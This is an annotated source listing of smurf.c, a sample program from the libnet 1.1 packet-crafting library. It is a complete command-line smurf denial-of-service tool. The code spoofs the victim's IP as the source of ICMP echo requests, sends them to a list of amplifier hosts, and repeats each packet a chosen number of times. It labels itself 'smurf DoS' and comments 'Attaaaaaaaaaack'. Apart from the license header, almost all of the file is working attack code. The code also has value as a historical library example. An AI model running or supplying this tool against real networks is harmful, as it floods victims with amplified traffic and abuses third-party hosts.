Annotation of embedaddon/libnet/sample/smurf.c, revision 1.1
1.1 ! misho 1: /*
! 2: * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $
! 3: *
! 4: * libnet 1.1
! 5: * Build Smurf packets
! 6: *
! 7: * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
! 8: * All rights reserved.
! 9: *
! 10: * Redistribution and use in source and binary forms, with or without
! 11: * modification, are permitted provided that the following conditions
! 12: * are met:
! 13: * 1. Redistributions of source code must retain the above copyright
! 14: * notice, this list of conditions and the following disclaimer.
! 15: * 2. Redistributions in binary form must reproduce the above copyright
! 16: * notice, this list of conditions and the following disclaimer in the
! 17: * documentation and/or other materials provided with the distribution.
! 18: *
! 19: * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
! 20: * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
! 21: * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
! 22: * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
! 23: * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
! 24: * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
! 25: * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
! 26: * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
! 27: * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
! 28: * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
! 29: * SUCH DAMAGE.
! 30: *
! 31: */
! 32:
! 33: #if (HAVE_CONFIG_H)
! 34: #include "../include/config.h"
! 35: #endif
! 36: #include "./libnet_test.h"
! 37:
! 38: void usage(char *);
! 39:
! 40:
! 41: int
! 42: main(int argc, char **argv)
! 43: {
! 44: libnet_t *l = NULL;
! 45: u_long target_ip = 0, ampli_ip = 0;
! 46: u_long count = 10;
! 47: int i, c;
! 48: libnet_ptag_t t;
! 49:
! 50: char *device = NULL;
! 51: char *pTarget = NULL;
! 52: char errbuf[LIBNET_ERRBUF_SIZE];
! 53: char label[LIBNET_LABEL_SIZE];
! 54:
! 55: printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n");
! 56:
! 57: while((c = getopt(argc, argv, "t:i:c:")) != EOF)
! 58: {
! 59: switch (c)
! 60: {
! 61: case 't':
! 62: pTarget = optarg;
! 63: break;
! 64: case 'i':
! 65: device = optarg;
! 66: break;
! 67: case 'c':
! 68: count = strtoul(optarg, 0, 10);
! 69: break;
! 70: }
! 71: }
! 72:
! 73: if (optind == argc) {
! 74: fprintf(stderr, "No amplifier given.\n");
! 75: usage(argv[0]);
! 76: exit (EXIT_FAILURE);
! 77: }
! 78:
! 79: if (!pTarget) {
! 80: fprintf(stdout, "No target given.\n");
! 81: usage(argv[0]);
! 82: exit (EXIT_FAILURE);
! 83: }
! 84:
! 85: if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1)
! 86: {
! 87: fprintf(stderr, "Bad target IP address: %s\n", pTarget);
! 88: exit(EXIT_FAILURE);
! 89: }
! 90:
! 91: /* Create a context for each amplifier */
! 92: for (i = 0; optind < argc; optind++) {
! 93:
! 94: printf ("Adding amplifier %s\n", argv[optind]);
! 95:
! 96: l = libnet_init(
! 97: LIBNET_RAW4, /* injection type */
! 98: device, /* network interface */
! 99: errbuf); /* errbuf */
! 100:
! 101: if (l == NULL)
! 102: {
! 103: fprintf(stderr, "libnet_init() failed: %s", errbuf);
! 104: exit(EXIT_FAILURE);
! 105: }
! 106:
! 107: if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1)
! 108: {
! 109: fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]);
! 110: exit(1);
! 111: }
! 112:
! 113: /* build the packet */
! 114: t = libnet_build_icmpv4_echo(
! 115: ICMP_ECHO, /* type */
! 116: 0, /* code */
! 117: 0, /* checksum */
! 118: 0x42, /* id */
! 119: 0x42, /* sequence number */
! 120: NULL, /* payload */
! 121: 0, /* payload size */
! 122: l, /* libnet handle */
! 123: 0);
! 124: if (t == -1)
! 125: {
! 126: fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
! 127: goto bad;
! 128: }
! 129:
! 130: t = libnet_build_ipv4(
! 131: LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */
! 132: 0, /* TOS */
! 133: 0x42, /* IP ID */
! 134: 0, /* IP Frag */
! 135: 64, /* TTL */
! 136: IPPROTO_ICMP, /* protocol */
! 137: 0, /* checksum */
! 138: target_ip, /* source IP */
! 139: ampli_ip, /* destination IP */
! 140: NULL, /* payload */
! 141: 0, /* payload size */
! 142: l, /* libnet handle */
! 143: 0);
! 144: if (t == -1)
! 145: {
! 146: fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
! 147: goto bad;
! 148: }
! 149:
! 150: /* and finally, put it in the arena */
! 151: snprintf(label, sizeof(label)-1, "echo%d", i);
! 152: if (libnet_cq_add(l, label) == -1)
! 153: {
! 154: fprintf(stderr, "add error: %s\n", libnet_geterror(l));
! 155: goto bad;
! 156: }
! 157: } /* for (optind < argc) */
! 158:
! 159:
! 160: /* Attaaaaaaaaaack */
! 161: for_each_context_in_cq(l) {
! 162: /*
! 163: * Write it to the wire.
! 164: */
! 165: for (i = 0; i<count; i++) {
! 166: c = libnet_write(l);
! 167: if (c == -1)
! 168: {
! 169: fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l));
! 170: goto bad;
! 171: }
! 172: else
! 173: {
! 174: fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c);
! 175: }
! 176: }
! 177: }
! 178:
! 179:
! 180: libnet_cq_destroy();
! 181: return (EXIT_SUCCESS);
! 182: bad:
! 183: libnet_cq_destroy();
! 184: libnet_destroy(l);
! 185: return (EXIT_FAILURE);
! 186: }
! 187:
! 188: void
! 189: usage(char *name)
! 190: {
! 191: fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name);
! 192: }
! 193:
! 194: /* EOF */
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